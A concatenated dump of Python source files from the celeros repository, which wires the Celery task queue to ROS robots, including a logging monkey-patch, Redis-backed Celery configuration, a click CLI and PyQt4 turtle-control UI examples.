#
# def setup_handlers(self, logger, logfile, format, colorize,
# formatter=ColorFormatter, **kwargs):
# if self._is_configured(logger):
# return logger
# handler = self._detect_handler(logfile)
# handler.setFormatter(formatter(format, use_color=colorize))
# logger.addHandler(handler)
# return logger
old_configure_logger = celery.app.log.Logging._configure_logger # Store the real method.
old_setup_handlers = celery.app.log.Logging.setup_handlers # Store the real method.
def celeros_configure_logger(self, logger, logfile, loglevel,
format, colorize, **kwargs):
"""Replacement for :method:`celery.app.log._configure_logger`."""
if logger is not None:
self.setup_handlers(logger, logfile, format,
colorize, **kwargs)
if loglevel:
logger.setLevel(loglevel)
def celeros_setup_handlers(self, logger, logfile, format, colorize,
formatter=ColorFormatter, **kwargs):
"""Replacement for :method:`celery.app.log.setup_handlers`."""
patched_logger = old_setup_handlers(self,
logger, logfile, format, colorize, formatter, **kwargs)
# Check if not patched.
if not getattr(patched_logger, "_LOG_PATCH_DONE", False):
# Lock and patch.
logging._acquireLock()
try:
handlers = getattr(config, "PATCH_CELERYD_LOG_EXTRA_HANDLERS", [])
for handler_lvl, handler_fn in handlers:
handler = handler_fn()
handler.setLevel(handler_lvl)
handler.setFormatter(formatter(format, use_color=colorize))
patched_logger.addHandler(handler)
# Mark logger object patched.
setattr(patched_logger, "_LOG_PATCH_DONE", True)
finally:
logging._releaseLock()
return patched_logger
# Apply patches.
CELERY_MOD_PATCHED = False
if not CELERY_MOD_PATCHED:
logging._acquireLock() # Lock logging during patch.
try:
celery.app.log.Logging._configure_logger = celeros_configure_logger # Patch old w/ new.
celery.app.log.Logging.setup_handlers = celeros_setup_handlers # Patch old w/ new.
CELERY_MOD_PATCHED = True
finally:
logging._releaseLock()
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,950 | asmodehn/celeros | refs/heads/master | /celeros/flowerconfig.py | import ast
import json
from flower.utils.template import humanize
# Enable debug logging
logging = 'DEBUG'
# This should parse and change to json the args and kwargs
# TODO : doesnt seem to do anything. fix it !
def format_task(task):
print (task)
task.args = json.dumps(task.args)
task.kwargs = json.dumps(task.kwargs)
return task
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,951 | asmodehn/celeros | refs/heads/master | /examples/src/turtlecmd_ui.py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'turtlecmd.ui'
#
# Created: Wed Sep 30 14:12:29 2015
# by: PyQt4 UI code generator 4.10.4
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName(_fromUtf8("MainWindow"))
MainWindow.resize(800, 600)
self.centralwidget = QtGui.QWidget(MainWindow)
self.centralwidget.setObjectName(_fromUtf8("centralwidget"))
self.widget_2 = QtGui.QWidget(self.centralwidget)
self.widget_2.setGeometry(QtCore.QRect(20, 390, 751, 141))
self.widget_2.setObjectName(_fromUtf8("widget_2"))
self.ANY_lbl = QtGui.QLabel(self.widget_2)
self.ANY_lbl.setGeometry(QtCore.QRect(10, 10, 58, 17))
self.ANY_lbl.setObjectName(_fromUtf8("ANY_lbl"))
self.TODO_lbl = QtGui.QLabel(self.widget_2)
self.TODO_lbl.setGeometry(QtCore.QRect(210, 50, 121, 17))
self.TODO_lbl.setObjectName(_fromUtf8("TODO_lbl"))
self.tabWidget = QtGui.QTabWidget(self.centralwidget)
self.tabWidget.setGeometry(QtCore.QRect(20, 10, 751, 361))
self.tabWidget.setObjectName(_fromUtf8("tabWidget"))
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtGui.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 27))
self.menubar.setObjectName(_fromUtf8("menubar"))
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtGui.QStatusBar(MainWindow)
self.statusbar.setObjectName(_fromUtf8("statusbar"))
MainWindow.setStatusBar(self.statusbar)
self.retranslateUi(MainWindow)
self.tabWidget.setCurrentIndex(1)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow", None))
self.ANY_lbl.setText(_translate("MainWindow", "ANY", None))
self.TODO_lbl.setText(_translate("MainWindow", "TODO : Actions", None))
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,952 | asmodehn/celeros | refs/heads/master | /examples/src/turtle_ui.py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'turtle.ui'
#
# Created: Wed Sep 30 14:12:15 2015
# by: PyQt4 UI code generator 4.10.4
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName(_fromUtf8("Form"))
Form.resize(434, 300)
self.pose_y_lcd = QtGui.QLCDNumber(Form)
self.pose_y_lcd.setGeometry(QtCore.QRect(20, 70, 64, 23))
self.pose_y_lcd.setObjectName(_fromUtf8("pose_y_lcd"))
self.pose_angular_lcd = QtGui.QLCDNumber(Form)
self.pose_angular_lcd.setGeometry(QtCore.QRect(20, 220, 64, 23))
self.pose_angular_lcd.setObjectName(_fromUtf8("pose_angular_lcd"))
self.pose_linear_lcd = QtGui.QLCDNumber(Form)
self.pose_linear_lcd.setGeometry(QtCore.QRect(20, 180, 64, 23))
self.pose_linear_lcd.setObjectName(_fromUtf8("pose_linear_lcd"))
self.pose_x_lbl = QtGui.QLabel(Form)
self.pose_x_lbl.setGeometry(QtCore.QRect(90, 30, 58, 17))
self.pose_x_lbl.setObjectName(_fromUtf8("pose_x_lbl"))
self.pose_angular_lbl = QtGui.QLabel(Form)
self.pose_angular_lbl.setGeometry(QtCore.QRect(90, 220, 58, 17))
self.pose_angular_lbl.setObjectName(_fromUtf8("pose_angular_lbl"))
self.cmd_angular_y_sbx = QtGui.QSpinBox(Form)
self.cmd_angular_y_sbx.setGeometry(QtCore.QRect(320, 100, 52, 27))
self.cmd_angular_y_sbx.setObjectName(_fromUtf8("cmd_angular_y_sbx"))
self.cmd_linear_y_sbx = QtGui.QSpinBox(Form)
self.cmd_linear_y_sbx.setGeometry(QtCore.QRect(180, 100, 52, 27))
self.cmd_linear_y_sbx.setObjectName(_fromUtf8("cmd_linear_y_sbx"))
self.pose_tetha_lbl = QtGui.QLabel(Form)
self.pose_tetha_lbl.setGeometry(QtCore.QRect(90, 110, 58, 17))
self.pose_tetha_lbl.setObjectName(_fromUtf8("pose_tetha_lbl"))
self.pose_theta_lcd = QtGui.QLCDNumber(Form)
self.pose_theta_lcd.setGeometry(QtCore.QRect(20, 110, 64, 23))
self.pose_theta_lcd.setObjectName(_fromUtf8("pose_theta_lcd"))
self.cmd_linear_y_lbl = QtGui.QLabel(Form)
self.cmd_linear_y_lbl.setGeometry(QtCore.QRect(240, 100, 58, 17))
self.cmd_linear_y_lbl.setObjectName(_fromUtf8("cmd_linear_y_lbl"))
self.pose_linear_lbl = QtGui.QLabel(Form)
self.pose_linear_lbl.setGeometry(QtCore.QRect(90, 180, 58, 17))
self.pose_linear_lbl.setObjectName(_fromUtf8("pose_linear_lbl"))
self.cmd_linear_z_sbx = QtGui.QSpinBox(Form)
self.cmd_linear_z_sbx.setGeometry(QtCore.QRect(180, 140, 52, 27))
self.cmd_linear_z_sbx.setObjectName(_fromUtf8("cmd_linear_z_sbx"))
self.cmd_angular_z_lbl = QtGui.QLabel(Form)
self.cmd_angular_z_lbl.setGeometry(QtCore.QRect(380, 140, 58, 17))
self.cmd_angular_z_lbl.setObjectName(_fromUtf8("cmd_angular_z_lbl"))
self.cmd_linear_lbl = QtGui.QLabel(Form)
self.cmd_linear_lbl.setGeometry(QtCore.QRect(180, 20, 58, 17))
self.cmd_linear_lbl.setObjectName(_fromUtf8("cmd_linear_lbl"))
self.pose_x_lcd = QtGui.QLCDNumber(Form)
self.pose_x_lcd.setGeometry(QtCore.QRect(20, 30, 64, 23))
self.pose_x_lcd.setObjectName(_fromUtf8("pose_x_lcd"))
self.pose_y_lbl = QtGui.QLabel(Form)
self.pose_y_lbl.setGeometry(QtCore.QRect(90, 70, 58, 17))
self.pose_y_lbl.setObjectName(_fromUtf8("pose_y_lbl"))
self.cmd_angular_lbl = QtGui.QLabel(Form)
self.cmd_angular_lbl.setGeometry(QtCore.QRect(380, 100, 58, 17))
self.cmd_angular_lbl.setObjectName(_fromUtf8("cmd_angular_lbl"))
self.cmd_angular_z_sbx = QtGui.QSpinBox(Form)
self.cmd_angular_z_sbx.setGeometry(QtCore.QRect(320, 140, 52, 27))
self.cmd_angular_z_sbx.setObjectName(_fromUtf8("cmd_angular_z_sbx"))
self.cmd_angular_x_sbx = QtGui.QSpinBox(Form)
self.cmd_angular_x_sbx.setGeometry(QtCore.QRect(320, 60, 52, 27))
self.cmd_angular_x_sbx.setObjectName(_fromUtf8("cmd_angular_x_sbx"))
self.cmd_Angular_lbl = QtGui.QLabel(Form)
self.cmd_Angular_lbl.setGeometry(QtCore.QRect(320, 20, 58, 17))
self.cmd_Angular_lbl.setObjectName(_fromUtf8("cmd_Angular_lbl"))
self.cmd_angular_x_lbl = QtGui.QLabel(Form)
self.cmd_angular_x_lbl.setGeometry(QtCore.QRect(380, 60, 58, 17))
self.cmd_angular_x_lbl.setObjectName(_fromUtf8("cmd_angular_x_lbl"))
self.send_cmd_btn = QtGui.QPushButton(Form)
self.send_cmd_btn.setGeometry(QtCore.QRect(220, 210, 121, 31))
self.send_cmd_btn.setObjectName(_fromUtf8("send_cmd_btn"))
self.cmd_linear_z_lbl = QtGui.QLabel(Form)
self.cmd_linear_z_lbl.setGeometry(QtCore.QRect(240, 140, 58, 17))
self.cmd_linear_z_lbl.setObjectName(_fromUtf8("cmd_linear_z_lbl"))
self.cmd_linear_x_sbx = QtGui.QSpinBox(Form)
self.cmd_linear_x_sbx.setGeometry(QtCore.QRect(180, 60, 52, 27))
self.cmd_linear_x_sbx.setObjectName(_fromUtf8("cmd_linear_x_sbx"))
self.cmd_linea_x_lbl = QtGui.QLabel(Form)
self.cmd_linea_x_lbl.setGeometry(QtCore.QRect(240, 60, 58, 17))
self.cmd_linea_x_lbl.setObjectName(_fromUtf8("cmd_linea_x_lbl"))
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
def retranslateUi(self, Form):
Form.setWindowTitle(_translate("Form", "Form", None))
self.pose_x_lbl.setText(_translate("Form", "X", None))
self.pose_angular_lbl.setText(_translate("Form", "angular", None))
self.pose_tetha_lbl.setText(_translate("Form", "theta", None))
self.cmd_linear_y_lbl.setText(_translate("Form", "Y", None))
self.pose_linear_lbl.setText(_translate("Form", "linear", None))
self.cmd_angular_z_lbl.setText(_translate("Form", "Z", None))
self.cmd_linear_lbl.setText(_translate("Form", "Linear", None))
self.pose_y_lbl.setText(_translate("Form", "Y", None))
self.cmd_angular_lbl.setText(_translate("Form", "Y", None))
self.cmd_Angular_lbl.setText(_translate("Form", "Angular", None))
self.cmd_angular_x_lbl.setText(_translate("Form", "X", None))
self.send_cmd_btn.setText(_translate("Form", "Send Command", None))
self.cmd_linear_z_lbl.setText(_translate("Form", "Z", None))
self.cmd_linea_x_lbl.setText(_translate("Form", "X", None))
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,953 | asmodehn/celeros | refs/heads/master | /celeros/config.py | #
# sample celeros configuration.
# this file can be overloaded and passed as argument to change the celeros configuration
#
# TODO : move to a cleaner way to do configuration ( probably after mutating into up a pure python package )
import logging
import logging.handlers
import os
from kombu import Queue
#
# These should probably be changed, depending on your celeros deployment
#
DEBUG = False
TESTING = False
# NOTE : useful only for sending task. worker get URL from cmd line args
CELERY_BROKER_URL = 'redis://localhost:6379/0'
BROKER_URL = CELERY_BROKER_URL
# NOTE : used for getting results, and also aborting tasks
CELERY_RESULT_BACKEND = 'redis://localhost:6379/1'
# config used by beat for scheduler
CELERY_REDIS_SCHEDULER_URL = "redis://localhost:6379/2"
CELERY_IMPORTS = ('celery.task.http', 'celeros.rostasks', )
CELERYBEAT_SCHEDULER = 'celeros.RedisScheduler'
#
# These are assume to always stay the same by celeros and should not be changed
#
CELERY_ACCEPT_CONTENT = ['application/json']
CELERY_TASK_SERIALIZER = 'json'
CELERY_RESULT_SERIALIZER = 'json'
CELERY_CREATE_MISSING_QUEUES = True # We create queue that do not exist yet.
CELERY_ALWAYS_EAGER = False # We do NOT want the task to be executed immediately locally.
CELERY_TRACK_STARTED = True # We want to know when the task are started
CELERY_SEND_TASK_SENT_EVENT = True # needed to have the sent time (exposed by flower)
# Logger settings that blend in with ROS log format
CELERYD_HIJACK_ROOT_LOGGER = False
CELERYD_LOG_FORMAT = "[%(levelname)s] [%(asctime)s] [%(processName)s] %(message)s"
CELERYD_TASK_LOG_FORMAT = "[%(levelname)s] [%(asctime)s] [%(processName)s] [%(task_name)s: (%(task_id)s)] %(message)s"
# Custom log monkey patch
# Ref : http://loose-bits.com/2010/12/celery-logging-with-python-logging.html
PATCH_CELERYD_LOG_EXTRA_HANDLERS = [
# note the stream logger is already setup using normal celery logger code ( omitting command line -f arg ).
# note bis : logging level here cannot be less than main celery logging...
(logging.DEBUG, lambda: logging.handlers.RotatingFileHandler(
os.path.join(os.environ.get('ROS_HOME', os.path.join(os.path.expanduser("~"), '.ros')),
"gopher",
"celeros.log"),
maxBytes=100 * 131072,
backupCount=10)
),
#(logging.WARNING, lambda: logging.handlers.SysLogHandler()),
]
# TODO : a better way to do this ?
# config used by beat for scheduler
CELERY_REDIS_SCHEDULER_KEY_PREFIX = 'schedule:'
CELERYBEAT_SYNC_EVERY = 1
CELERYBEAT_MAX_LOOP_INTERVAL = 30
# each worker will accept only a single task at a time
CELERYD_CONCURRENCY = 1 # only need one worker process.
CELERYD_PREFETCH_MULTIPLIER = 1 # 0 means no limit.
CELERY_ACKS_LATE = True # we ack when the task is finished. only then the next task will be fetched.
# Force each worker to have its own queue. So we can send specific task to each.
CELERY_WORKER_DIRECT = True
# Routes are only important for task sender : we do not care about simulation or not here.
CELERY_DEFAULT_QUEUE = 'celeros'
CELERY_DEFAULT_EXCHANGE = 'celeros'
CELERY_DEFAULT_EXCHANGE_TYPE = 'direct' # topic doesnt seem to work with redis at the moment ( https://github.com/celery/celery/issues/3117 )
CELERY_DEFAULT_ROUTING_KEY = 'celeros'
# Queueing strategy : matching routing_key determine which queue the task will go in
# default routing key is the task name. a matching queue will be determined by celery.
CELERY_QUEUES = (
)
# Note the battery sensitive queue should not be put here
# as it would automatically start consume before we are able to do battery check
CELERY_ROUTES = ({
'celeros.app.add_together': {
'queue': 'celeros'
},
'celeros.app.long_task': {
'queue': 'celeros'
},
})
# Note : some routes will need to be setup here for simulated task to go to simulated queues.
# Hint : Celery 3.1 Router doesnt get options passed to it,
# so there is no convenient way to route a task run based on "task run intent".
# The route can depend only on the task name itself
# -> simulated task should duplicate normal task, with only a different name, that will branch to a different route.
#
# Custom Celeros settings:
#
# TODO : think about how to specify topic OR service...
# Specifying where we should get the battery information from.
# None means we dont want to care about it.
CELEROS_BATTERY_TOPIC = '/robot/battery'
# TODO : regex here (matching the local hostname instead of "robot"?) ?
# how often we check the battery (in secs)
CELEROS_BATTERY_CHECK_PERIOD = 10
# (List of) tuples of battery levels and queues that can be consumed from,
# only if the battery has a percentage higher than the specified level
CELEROS_MIN_BATTERY_PCT_QUEUE = [
(20, Queue('celeros', routing_key='celeros'))
]
# This will automatically create the required queues if needed.
# But we need to specify CELERY_QUEUES here in order to set the routing key for it.
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,954 | asmodehn/celeros | refs/heads/master | /celeros/bootsteps/__init__.py | from __future__ import absolute_import
from .pyrosboot import PyrosBoot
from .batterywatcher import BatteryWatcher
__all__ = [
'PyrosBoot',
'BatteryWatcher',
] | {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,955 | asmodehn/celeros | refs/heads/master | /celeros/__main__.py | #!/usr/bin/python
# All ways to run celeros
# should be defined here for consistency
from __future__ import absolute_import
import os
import sys
import click
import errno
import celery
import celery.bin.worker
# logging configuration should be here to not be imported by users of celeros.
# only used from command line
import logging.config
# Setting up logging for this test
logging.config.dictConfig(
{
'version': 1,
'formatters': {
'verbose': {
'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'
},
'simple': {
'format': '%(levelname)s %(name)s:%(message)s'
},
},
'handlers': { # Handlers not filtering level -> we filter from logger.
'null': {
'level': 'DEBUG',
'class': 'logging.NullHandler',
},
'console': {
'level': 'DEBUG',
'class': 'logging.StreamHandler',
'formatter': 'simple'
},
},
'loggers': {
'pyros_config': {
'handlers': ['console'],
'level': 'INFO',
'propagate': False,
},
'pyros_setup': {
'handlers': ['console'],
'level': 'INFO',
},
'pyros': {
'handlers': ['console'],
'level': 'INFO',
},
# Needed to see celery processes log (especially beat)
'celery': {
'handlers': ['console'],
'level': 'INFO',
'propagate': False,
},
'celeros': {
'handlers': ['console'],
'level': 'INFO',
'propagate': False,
},
'': { # root logger
'handlers': ['console'],
'level': 'INFO',
}
}
}
)
#importing current package if needed ( solving relative package import from __main__ problem )
if __package__ is None:
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from celeros import celeros_app
else:
from . import celeros_app
# Note to keep things simple and somewhat consistent, we try to follow rostful's __main__ structure here...
# TODO : handle ros arguments here
# http://click.pocoo.org/5/commands/#group-invocation-without-command
@click.group()
def cli():
pass
#
# Arguments' default value is None here
# to use default values from config file if one is provided.
# If no config file is provided, internal defaults are used.
#
@cli.command()
@click.option('hostname', '-n', '--hostname', default=None)
@click.option('broker', '-b', '--broker', default=None)
@click.option('beat', '-B', '--beat', is_flag=True, default=False)
@click.option('loglevel', '-l', '--loglevel', default=None)
@click.option('logfile', '-f', '--logfile', default=None)
@click.option('scheduler', '-S', '--schedulerclass', default=None)
@click.option('queues', '-Q', '--queues', default=None)
@click.option('config', '-c', '--config', default=None) # this is the last possible config override, and has to be explicit.
@click.option('ros_args', '-r', '--ros-arg', multiple=True, default='')
def worker(hostname, broker, beat, loglevel, logfile, queues, scheduler, config, ros_args):
"""
Starts a celeros worker
:param hostname: hostname for this worker
:param broker: broker to connect to
:param loglevel: loglevel
:param logfile: logfile to dump logs
:param queues: queues to connect to
:param config: config file to use (last overload)
:param ros_args: extra ros args
:return:
"""
# Massaging argv to make celery happy
# First arg needs to be the prog_name (following schema "celery prog_name --options")
argv = ['worker']
if beat:
argv += ['--beat']
if hostname:
argv += ['--hostname={0}'.format(hostname)]
if broker:
argv += ['--broker={0}'.format(broker)]
if queues:
argv += ['--queues={0}'.format(queues)]
if scheduler:
argv += ['--scheduler={0}'.format(scheduler)]
if loglevel:
argv += ['--loglevel={0}'.format(loglevel)]
if logfile:
argv += ['--logfile={0}'.format(logfile)]
if config:
argv += ['--config={0}'.format(config)]
for r in ros_args:
argv += ['--ros-arg={0}'.format(r)]
logging.info("Starting celery with arguments {argv}".format(**locals()))
celeros_app.worker_main(argv=argv)
# TODO : inspect command wrapper here to simplify usage to our usecase.
if __name__ == '__main__':
cli()
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,956 | asmodehn/celeros | refs/heads/master | /celeros/bootsteps/pyrosconsumer.py | #!/usr/bin/env python
import sys
import os
import logging
import multiprocessing
from celery import Celery, bootsteps
from kombu import Consumer, Queue
from celery.platforms import signals as _signals
from celery.utils.log import get_logger
logger = get_logger(__name__)
# If We need more than a CustomerStep
class PyrosConsumer(bootsteps.StartStopStep):
requires = ('celery.worker.consumer:Tasks',)
def __init__(self, parent, **kwargs):
# here we can prepare the Worker/Consumer object
# in any way we want, set attribute defaults and so on.
print('{0!r} is in init'.format(parent))
# The Pyros client should have been started by the worker custom booststep
# and should be accessible here
print(parent.app.ros_node_client)
def start(self, parent):
# our step is started together with all other Worker/Consumer
# bootsteps.
print('{0!r} is starting'.format(parent))
def stop(self, parent):
# the Consumer calls stop every time the consumer is restarted
# (i.e. connection is lost) and also at shutdown.
print('{0!r} is stopping'.format(parent))
def shutdown(self, parent):
# shutdown is called by the Consumer at shutdown.
print('{0!r} is shutting down'.format(parent))
self.node_proc.shutdown()
# If not, we can go the easy way
# class PyrosConsumer(bootsteps.ConsumerStep):
#
# def get_consumers(self, channel):
# return [Consumer(channel,
# queues=[my_queue],
# callbacks=[self.handle_message],
# accept=['json'])]
#
# def handle_message(self, body, message):
# print('Received message: {0!r}'.format(body))
# message.ack()
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,957 | asmodehn/celeros | refs/heads/master | /celeros/rosperiodictasks.py | from __future__ import absolute_import
# The only way that works to import package content based on file structure
# instead of parent package content, which is not loaded when extending celery.
from .celerybeatredis import PeriodicTask as celerybeatredis_PeriodicTask
class PeriodicTask(celerybeatredis_PeriodicTask):
def __init__(self, name, task, schedule, enabled=True, fire_and_forget=False, sent_at=None, args=(), kwargs=None, options=None,
last_run_at=None, total_run_count=None, **extrakwargs):
super(PeriodicTask, self).__init__(name=name, task=task, enabled=enabled, fire_and_forget=fire_and_forget, sent_at=sent_at, last_run_at=last_run_at,
total_run_count=total_run_count, schedule=schedule, args=args, kwargs=kwargs,
options=options, **extrakwargs)
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,958 | asmodehn/celeros | refs/heads/master | /examples/src/turtlecommand.py | from __future__ import absolute_import
import sys
from PyQt4 import QtCore, QtGui
from turtle_ui import Ui_Form
from turtlecmd_ui import Ui_MainWindow
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class TurtleWidget(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.turtle_ui = Ui_Form()
self.turtle_ui.setupUi(self)
self.turtle_ui.send_cmd_btn.clicked.connect(self.send_cmd)
def send_cmd(self):
print 'Send Command pressed.'
class MyWindow(QtGui.QMainWindow):
def __init__(self, parent=None):
QtGui.QMainWindow.__init__(self, parent)
self.ui = Ui_MainWindow()
self.ui.setupUi(self)
# setting up tabs from widget
self.tab = TurtleWidget()
self.tab.setObjectName(_fromUtf8("turtle"))
self.ui.tabWidget.addTab(self.tab, _fromUtf8(""))
self.retranslateUi(parent)
def retranslateUi(self, MainWindow):
self.ui.tabWidget.setTabText(self.ui.tabWidget.indexOf(self.tab), _translate("MainWindow", "Tab 1", None))
#self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), _translate("MainWindow", "Tab 2", None))
if __name__ == "__main__":
app = QtGui.QApplication(sys.argv)
myapp = MyWindow()
myapp.show()
sys.exit(app.exec_())
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,959 | asmodehn/celeros | refs/heads/master | /examples/src/turtletasks.py | from __future__ import absolute_import
import time
import random
from celeros import celeros_app
import rospy
import rostful_node
from celery import states
from celery.contrib.abortable import AbortableTask
from celery.exceptions import Ignore, Reject
from celery.utils.log import get_task_logger
_logger = get_task_logger(__name__)
@celeros_app.task(bind=True)
def turtle_move(self):
